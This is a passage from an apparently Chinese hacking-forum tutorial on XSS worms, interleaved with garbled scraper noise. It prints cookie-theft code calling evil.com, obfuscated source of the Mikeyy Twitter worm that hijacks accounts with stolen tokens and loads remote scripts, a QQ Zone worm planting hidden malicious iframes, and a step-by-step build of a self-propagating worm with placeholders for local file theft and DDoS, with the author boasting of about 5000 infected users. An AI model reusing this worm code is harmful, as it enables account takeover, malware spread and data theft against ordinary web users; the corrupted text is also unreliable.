* g" K/ {+ t# Z5 P  h复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
: W$ |  l% v; T' A0 Z  T3 v2 r
- x8 ]$ s$ Z6 l$ F2 |0 Gvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


" I5 d+ U/ Z/ [2 U
, f; }& P+ E) W% x/ [XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
' K: p4 Y- E; V3 N7 V& |: u0 R
: H; {- i- Z2 t- e' g1 U% OXmlHttp.send(null);

9 S, {/ H2 E) M; ?& ~& _1 l# j2 ]<script>
. y# ~# l- D1 L( \8 n# g复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
! ^& r/ T8 O+ j复制代码案例:Twitter 蠕蟲五度發威
第一版:
1 k* w2 A1 D* g" ~6 d  下载 (5.1 KB)

1 G+ o7 W% T3 E0 b: ?- @6 天前 08:27

1 I' Q5 u( f0 J0 B, V: t! |第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

' G3 o1 F+ j* Z/ b   2.   

   3. function XHConn(){  
+ K+ E0 y# _2 r3 q- [" \
   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

. W1 i$ n% |4 P- U! W# x: _) T   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
) p0 [; X& I) y* G
. O( I' R9 G4 Y   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
6 o; Q- h1 I) f. l: w
$ \/ E+ h5 b" |3 P9 [# H! [   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
7 I) T8 s* y- `, d4 Z# N
   2.   var content = document.documentElement.innerHTML;  
. v) W: M- d% g, i& w: T7 H5 q
- R/ g0 e7 U4 F0 q   3.   var tmp_cookie=document.cookie;  
+ E2 ^1 E$ S  m1 ]$ J8 V
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
2 f2 R+ }$ g2 [, [! y: s5 B
) O. P, u) y. u$ c   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  
( g6 p8 }) |' F! h( a. I
   7.   var authtoken=authtoken[1];  
6 j2 M/ }7 V' \# V+ [& {5 H6 r
   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
" p5 k! ]# j  n; y9 ^
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
/ `  w' h( b9 O6 U6 r/ N4 R; X
5 w) t$ b" w6 @8 v  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
" l1 O) v! B; |" i1 g( h
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

8 X7 A8 e. X5 O8 O4 V  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
* T9 H; `% Z: x) \: M
4 U9 h& ?2 m# d: N$ Y3 p) j9 @9 k  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
! G. M7 t' [. ^9 y  V
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  b. d/ D! c8 Q1 R# t, R  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

) d- W1 b; N: Z  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

+ U7 X& J8 H. U% O  \: |  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

4 a4 G6 _& e7 [3 n2 j: h  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

( ]& r% u0 d; k  Z- l  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
/ t. U& t; |6 v9 `3 ~
% `# F( R  P! u  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
+ x0 ^% Y8 h0 {: `. l
  27.     
% m6 j2 T( G7 ~7 ~
) S& u0 X  y; m+ |& r  28.   var ajaxConn= new XHConn();  
) f  L  S2 B! L1 n- v2 h- P% s
$ u0 N1 T* w* {. ?4 b- Z  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

7 n: B' B% Z: H7 {# G" Y2 M  30.   var _0xf81bx1c="Mikeyy";  
! E% r  {. J$ j- s' }+ W
: M9 S1 ]( s  N* H) H: K: r% j  31.   var updateEncode=urlencode(_0xf81bx1c);  

) i# z  Z* M+ S# D' j4 C; p  32.   var ajaxConn1= new XHConn();  
4 _( T' H# K3 m, C) i& y: d& E
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
3 r8 h7 @% e$ \. _2 W& G. l9 c
  35.   var XSS=urlencode(genXSS);  
2 M  \9 I* O* T5 d. f8 [3 L
  36.   var ajaxConn2= new XHConn();  
2 x) G; c$ m7 R# Q5 v
' G6 n5 _% H9 I% M. ]0 t) [' @  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
  Q- Q8 L* @: H$ {' z
2 B2 x  _( h0 v. r3 ~1 V5 l  38.     
& e3 F5 N! x2 _: y
) t; w5 t5 M# o  39. } ;  

8 v1 m) B  z; Q8 m( O. @, O  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;

2 D4 c* ]3 ^$ v8 Q$ h2 Z

3 L* a, U8 y6 q6 M3 j& v, T* Wvar shendu;shendu=4;

& [2 }+ o. m( g0 V9 b$ @//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();
1 y" y8 T0 Z  g' j6 s5 n, [7 P+ ]7 M
' n+ a4 N% q# g8 {        var gurl=document.location.href;

& d7 O- a7 d- O4 |9 X& F        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        

6 P- e$ J/ X: @5 P/ n7 D! J) x  M        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
* i+ E1 S; I: u# h# \7 @3 e/ O
# d# b1 _( o, R/ B) A0 P        visitorID=visitorID.substring(cookieS+14);
. I# U5 V+ D# C
; ?+ f. V, |8 j( H* }        cookieS=visitorID.indexOf(",");
) N) P! l1 _) S2 Z/ K% g6 C
2 r8 Q+ T1 F" g" [7 `1 Z        visitorID=visitorID.substring(0,cookieS);
6 J  }5 N2 E, y9 A2 }, a
        get_my_blog(visitorID);
1 m3 W6 N# [# H; _( o1 U/ e
        DOshuamy();
& H% v) q6 X( P. m8 O+ k2 J


5 C  |; Z) x8 ?  n1 |+ x( U8 n//挂马
2 O/ L4 E0 L7 t7 B& n2 W/ Q4 |
' _$ \, o( i* E% }4 Cfunction DOshuamy(){
* w7 `8 L- f6 w) |3 ?4 d, T- U9 i
var ssr=document.getElementById("veryTitle");
! X. O1 [# S, l5 l
5 J) n9 h# K# P( {. U) \ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

  C1 }& m! O/ |0 ]}
/ V- k9 \3 U8 T
7 U2 Q; b; Q6 a/ x# B

//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
& u2 F! J1 U; v- a/ J
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

& X" I+ v  j1 o' B* i! ~% g   if(xhr){    //成功就执行下面的
. h/ [/ R. ~8 J2 _  Q
1 B3 p0 h' n) \, m- Y     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

; p1 u  L/ W, z' w$ m) ^     xhr.send();guest=xhr.responseText;
+ g* q6 {6 u% I8 k7 U8 `
     get_my_blogurl(guest);    //执行这个函数
. Q6 \7 ~* z# E3 {: K1 U0 G2 L; y
    }

}


. G6 M- s' g. ]6 ?$ c' U4 e
: Q8 B3 R! Q/ _* K//这里似乎是判断没有登录的
, U: S' N8 @" S0 ]
function get_my_blogurl(guest){

+ m2 x8 `3 X" A% C$ V  var mybloglist=guest;

: E, Y' [4 ]0 h& [6 |, [4 F4 }  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
( U3 O/ F/ W* X  h# F1 I
5 Q8 A  m4 ]$ D  ^+ D; c. S     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
0 @/ D$ E  C2 E! n8 f# e
     if(myurls!=-1){    //找到了就执行下面的

! G4 F$ C8 Q1 W" X9 V1 L         mybloglist=mybloglist.substring(myurls+11);

" b: j* i+ N+ t6 K3 L, e         myurls=mybloglist.indexOf(')');

% R  F2 @" t, m, J8 v5 H         myblogid=mybloglist.substring(0,myurls);

' e" u: B+ q% J  {- a        }else{break;}
/ K0 t: m! W0 N+ ~8 P" a  v
! @; p) `' ]& d8 l, n}
: R8 y7 J+ s6 S! T* B
% X. B# J# Q! a" Z. mget_my_testself();    //执行这个函数

}
. N8 o! @% j/ u


//这里往哪跳就不知道了

function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

  _+ f* ^6 y! v& n+ |      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
& W) D5 s( K# [9 J( ]' x& @
# f! j# x" ~) B: h0 W      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
4 ]3 f9 o& X: ]( [
      if(xhr2){        //如果成功
! c( \5 l5 b+ a% V5 D2 @9 G' _
5 u8 }% d8 A- R+ W9 D5 M' @              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();

# `" S1 \' K7 {) Q1 S( G% j. c              guest2=xhr2.responseText;
% z! S; U1 d% c, Q: c
1 ?/ w7 h$ _6 r: N3 ]# N$ r              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
- Z* e' a3 i+ x% V8 {# C4 T0 o; P
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
- ?) v- }( `. |4 ?5 j$ _
               }

' q0 I8 f% p: r- c* _: A7 l              if(mycheckit=="-1"){

# d0 e6 ]; I/ N7 n( u7 @7 y                targetblogurlid=myblogid;

6 S- N5 y. @$ _/ P# F+ F6 B$ J                add_js(visitorID,targetblogurlid,gurl);    //执行它
. F) A. X( j0 F: Y1 F8 k
. r) q' u2 I9 F1 k  J                break;

2 ~0 F& V* l6 X3 e; p2 ~9 l               }

        }      

}

5 m: H0 Y, j7 }}
1 w1 |  F3 ~) [- g4 a2 L  ?3 ]

8 v. _8 j4 ^( d5 s. t: O1 t* c
//--------------------------------------  
- @' }9 o4 {* o' _8 F: i% p
//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){
4 [1 T/ \! X7 o% D+ r# b+ r8 I
    var XMLhttpObject=null;  

% v) s7 w' A: z, C4 _+ M    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

- v' l+ F5 l$ ?- w    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  
* `; V# b7 J. V! i
        {  
9 @& Z) F8 ]( [. r3 l" i
+ s# w! {2 E  a$ k) E            try  
" I& e0 l3 E/ P
8 J+ w6 V  b- I5 b" V& E. V            {  
$ Y5 y* H# D% H
5 ^! v+ B8 I) ^" h" C% r                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
" g7 s% }5 k, D+ K, \
0 l& c2 y/ P" w. h/ S# m& E: m            }  
: \: s' {- m8 N, S$ u" a) J
            catch (ex) {  

            }  

. I7 v" f3 O; o6 w9 R         }  

/ M! B- R5 S& O- U1 n$ {      }
2 U8 X( c: @9 G3 I1 r
& ~+ s9 J* J5 f/ \  x& u9 q: _2 ~return XMLhttpObject;
2 a5 o  Z( g5 t
}  
5 X3 @1 B' u* g; I# k8 |
' {) |; `, H5 v4 X  a" q, Y

//这里就是感染部分了
1 P$ p, J7 K$ p/ e* R- B
' u5 `" S5 @; k- \9 p# m5 Lfunction add_js(visitorID,targetblogurlid,gurl){

" K( g7 V+ Z0 c0 Ivar s2=document.createElement('script');

' {; l5 B: A9 `* [# Q9 cs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
' F& x$ \4 H0 F! Q( g& F" G
document.getElementsByTagName('head').item(0).appendChild(s2);
5 L/ Q+ D  {5 H0 d
- n+ E# a. I: B8 I: K. L6 y3 ^}
" a6 d# O! U+ G4 C( J/ Q3 _, P


/ C, t* S" S, f* x7 m1 _function add_jsdel(visitorID,targetblogurlid,gurl){
- o3 W& |% B8 u" A5 |
% E- |: K& S5 R# W& Cvar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

# g* ~) R" p9 {) `4 h; Xs2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
! V2 U2 d: h+ x0 I3 J& n
}
+ ~  u$ \. v9 V$ O6 A: c复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
% @4 ^+ V  b0 r0 y
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

# H3 J3 W& ]( D# h2 ~. H" o0 F综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
# X! G: g' l" e. o& U
/ u% Q+ g, r6 c" @0 T" U首先,自然是判断不同浏览器,创建不同的对象var request = false;
2 w/ q) M$ i6 ?* t$ |$ j
' J0 E3 T# m8 h- [. i9 Sif(window.XMLHttpRequest) {
6 t  W2 y' u1 \6 |
# S3 J% m7 g( j0 I& v( j! R7 C/ Drequest = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

) ^+ h. Y! z5 d! b, C8 n9 c}
4 S" [: P  U. i5 r
} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

& {9 X- x+ p1 R: b) Jfor(var i=0; i<versions.length; i++) {
, F1 I5 a# b! n1 d5 }4 d" O
try {
! b2 ?# f# r3 k  P: G( j
request = new ActiveXObject(versions);
$ t( ]) Z" d* Q' Q1 d3 D( X8 a
" n8 W3 L8 ]9 Z( |8 n  T' ]. R, ]/ ~/ y} catch(e) {}
: m' T0 x1 d; H; l
8 J5 |& e7 ^0 b& Z' E7 W}

' Q* o' S- T; k2 ~}
# [# A" \1 u9 _9 P6 I, d
. a* _4 q# R9 `xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
/ E& H/ A1 K& C* T5 D) i7 E
        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);
# J/ J. e8 [/ a6 r: Z7 K" ]+ I
/ s# u$ [" `' h/ D        var Browser_Agent=navigator.userAgent;
+ O4 _" z5 c# p& W
        

- H( m  Q* Z* \+ Z' E" Y6 |        var Actual_Version,Actual_Name;
) O% m& _2 ]# ?6 F/ i
        
1 N  ]5 D# ^' W- g
1 w3 N" f5 @# Y3 @8 K        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");

: T# c5 s  W- X2 S' @        var is_Ch=(Browser_Name=="Chrome");

        
+ z4 y9 Y8 |+ W( N. g
) X0 c5 ]1 w* P9 k2 E( @. }        if(is_NN){
2 P- L, d; f" [% l! D( N
            if(Browser_Version>=5.0){
4 d# _7 n. H9 J6 D# x
1 h+ r0 }8 s) A- t4 S- L                var Split_Sign=Browser_Agent.lastIndexOf("/");
1 q: ^. Q# F* x6 G* J
                var Version=Browser_Agent.indexOf(" ",Split_Sign);
% ?- J0 x' V+ i0 Z
3 Y' }- ?4 _4 N                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



: @1 C9 G; ^$ M6 O                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
4 K& ]! E  C& P- d8 C6 S3 p! k
' o9 B7 Y& Y5 L" X( l; z                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }

            else{

                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
9 w! v1 f+ ?6 T
            }

        }
5 t- k! k8 K5 P. v+ M6 R' j
) s5 A  Y" j  g; C7 L( ^7 ~        else if(is_IE){

2 E# I* {3 P) L0 c8 L8 D( u9 b! Q            var Version_Start=Browser_Agent.indexOf("MSIE");

( \8 l4 Y9 q1 R3 Z& ^" ^            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

" G# D& C% i9 B; m5 |            Actual_Name=Browser_Name;
  m5 s: _, \- @
            
8 {4 i+ N- i. O: t8 Z: C8 o
            if(Browser_Agent.indexOf("Maxthon")!=-1){
0 f1 `8 I. v$ x3 h# o
                Actual_Name+="(Maxthon)";

, I! l) D, e' w" [# O8 Q2 L% |2 m            }

; _0 i1 W8 ~2 u; Z2 I1 Z  t. Y: T5 V            else if(Browser_Agent.indexOf("Opera")!=-1){
7 S- u3 T; G% H  a& U
                Actual_Name="Opera";

; y. w( |2 X; t8 e( f                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
0 L/ a9 m# ?  T/ M* c2 }( O* y
# T7 o2 q5 v; C: U, V                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
2 ?5 |: a3 {; n8 t2 L& w: Q3 k' T
            }

1 e/ y6 t* H1 w6 N0 K        }

        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");
1 c- C" f4 Z) E1 A2 j6 h' h
6 q5 Z9 i4 }9 T- v2 r, H/ s            var Version_End=Browser_Agent.indexOf(";",Version_Start);
: D7 \7 R5 y: }+ I: ^# d
7 g; H  U8 {. N" g% N, H6 H' L6 t            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

9 @  [9 b3 P$ r  p% l& a; ]! S            Actual_Name=Browser_Name;
6 ]( e. d9 _% i$ [/ S$ ~4 M, q8 y: }
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

3 A) j7 q  h! P1 }' _9 p                Actual_Name+="(Maxthon)";
5 T$ [( r4 R( D% Y
  _1 g) A: [, v: p7 j3 F* \, V            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

1 a0 a6 J- D( v! o                var tempstart=Browser_Agent.indexOf("Opera");
: Y5 Y% y$ R  N; G9 m5 \! @; p7 @
& k* S! E6 p: v$ S+ N$ ^                var tempend=Browser_Agent.length;
  v4 v  {5 o  |
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
7 y/ k: s0 B5 R- \' A9 q
3 f4 }& L3 z' b            }
, y3 e; O( T+ G; i5 I2 I7 B8 G: T7 Z
, [# v) s" ^( O3 ]& m1 e' I        }
$ T7 {, B5 |& B: r' n
% I* [1 d1 g/ ]: C% s        else{

" T% g& L# A, P5 i: c% i            Actual_Name="Unknown Navigator"
" ~7 K( l* n5 x( t, Y
- X4 q, A$ l' ~8 u$ ]; y            Actual_Version="Unknown Version"
* T4 w# A  L+ w+ E$ Y
9 R/ l5 a& u6 X8 V1 L) e        }
( A6 X1 T* R: N( t& s


        navigator.Actual_Name=Actual_Name;
+ O4 `$ p& {. O9 D
. N% U4 w  _: W7 D8 e* I8 M& K        navigator.Actual_Version=Actual_Version;
2 I/ k) \, B  j5 X# `% _4 v7 f% A
" ~7 i+ r; v' R/ O& n9 g: a; J        
3 V# W; p1 w1 t$ }) E7 i* ]& g5 Z
        this.Name=Actual_Name;
9 G, e6 z) E5 L
        this.Version=Actual_Version;
* F0 D  t6 P- b! h  Q- q: n, W- b
    }
2 i* i8 T2 g6 b1 Z
, ?$ Z% V$ S) x, n7 b' L8 _. P- x# e    browserinfo();
. K0 J, H# t$ w. J! d& O9 Z- ?
  D8 X6 ]# F: Z! d4 H* i& H    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
( f* e* \! u* c5 m4 x
+ a# G2 p) Q8 k1 k8 `    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
# o! R3 J' m% X! r: r/ d复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
; B0 N1 D. f$ _4 g  [0 L复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
8 c& k( B" l& u0 G
xmlHttpReq.send(null);
) a  Z, T' L, Z5 c" B
. }3 ?$ v. I6 U3 r6 D, X1 lvar resource = xmlHttpReq.responseText;

var id=0;var result;
/ J5 e$ h3 Z2 F+ [8 u! Z
: c! Z1 D) s  Tvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
, N2 z0 Q* Q. _& B% G
while ((result = patt.exec(resource)) != null)  {

) x/ A0 K& Y" O+ g3 j# \! ]id++;
7 v& Q4 |9 M9 S
}
7 U4 \; a/ R- I3 ^复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
4 E9 ^% j0 Z0 b- F8 z: \' M
( `9 q( q0 g# |9 i$ Jno=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

+ e* `3 o7 B9 p. R2 E4 avar post="wd="+wd;
# j6 O/ R  p! F) G* o
5 M, R3 l7 t' q  P, S2 }xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

+ y$ P6 k; z4 v& @' _" ~. jxmlHttpReq.setRequestHeader("content-length",post.length);

* _+ ~: f5 h0 `  _% T8 [xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
0 Y6 E/ p% S. t9 }; {; l4 P4 Q
; b0 b9 S* A4 H' a# x: R9 XxmlHttpReq.send(post);
; Z8 S( F; t$ B
* N7 y% l6 C4 G' f7 C  F0 |}
1 J, m$ E7 q1 D复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
$ O: N) U* F1 M, I) r% M% m) [
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
! C6 Z5 o- U5 ?  F4 Y- T- }3 ]
2 u6 p; I4 p' O2 xvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
3 p- i; f8 o/ Y: q- _
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
" D! ~1 N  l3 b
  m, T+ Y! G3 V! e% f  r5 q2 c2 Evar post="wd="+wd;
8 J8 o( e' E; g. t
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

4 t! Q  J0 B/ x6 s! y8 p1 ExmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
0 ^2 H  \" M+ Q' e! t3 t( A0 {
( C8 }9 O+ h! D5 a( ^) W. Z5 M. K$ oxmlHttpReq.setRequestHeader("content-length",post.length);
) u* P/ h- C2 K1 t6 O( v# n* i% L$ b) M
. m" W2 y- d  N" n: j- w7 J" D: nxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

  t6 f! F1 |0 h. LxmlHttpReq.send(post);                 //把传播的信息 POST出去.

/ Q+ i& f; L' F' \}
* {" f$ s! Y) n* c5 ^) A复制代码-----------------------------------------------------总结-------------------------------------------------------------------

9 G1 x) ?& ]' n0 @4 W' t' G" [
* ~# o1 }+ q; H$ v1 o7 t5 n3 d0 F
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
" l3 |! N: a, t' i: e- Y5 ]5 v蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
3 l' J6 L6 d# S) c4 U
- U( G# R6 u/ Y. c4 Y; L

% S$ N. |/ M- ]8 t



